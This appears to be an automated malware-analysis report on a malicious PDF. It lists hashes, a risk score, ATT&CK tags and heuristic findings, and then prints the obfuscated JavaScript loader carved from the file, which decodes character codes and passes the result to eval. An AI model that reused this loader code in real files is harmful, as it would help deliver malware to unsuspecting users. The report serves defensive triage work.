Malicious PDF — malware analysis report

Static analysis result for SHA-256 65c61bb1940eaef7…

MALICIOUS

PDF

44.5 KB Authoring application: substr First seen: 2013-07-12
MD5: b37636e27171fb9bc1f3e07d523e4393 SHA-1: 9bc67b0ef095df0dc395cf4b960762de46cf2798 SHA-256: 65c61bb1940eaef74c88428640e7b3a75ab750998d2300f7aa496cd9781669ae
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by heuristics as a loader. This script reconstructs a URL from character codes and then executes it, likely to download and run a secondary payload. The ML classifier strongly indicates maliciousness. The specific family is not identifiable from the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFC4 398 bytes
SHA-256: fd0df3480f5198d45958e7ef41f3ed082fcd225f3de56edc30bf81b8bfcad831
Preview script
First 1,000 lines of the extracted script
pfcq='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,"o"];
s=a[0]+b+a[1]+t[0];
e=(t,qwe)()[s];
mdtp=e('tit'+t);
q=mdtp[v](a.length-6,a.length+2);
qws=e(v[0].toUpperCase()+v[4]+'ring.fr'+a[6]+q);
q=mdtp[v](t.length+12)[e(v[0]+'ubject')]('c');
k=q.length;
i=0;
while(i!=k){
	mstx = 1*(q[i]) - (-1)*(q[i+t.length+(-1)]);
	pfcq += qws(mstx);
	i+=2;
}
e(pfcq);

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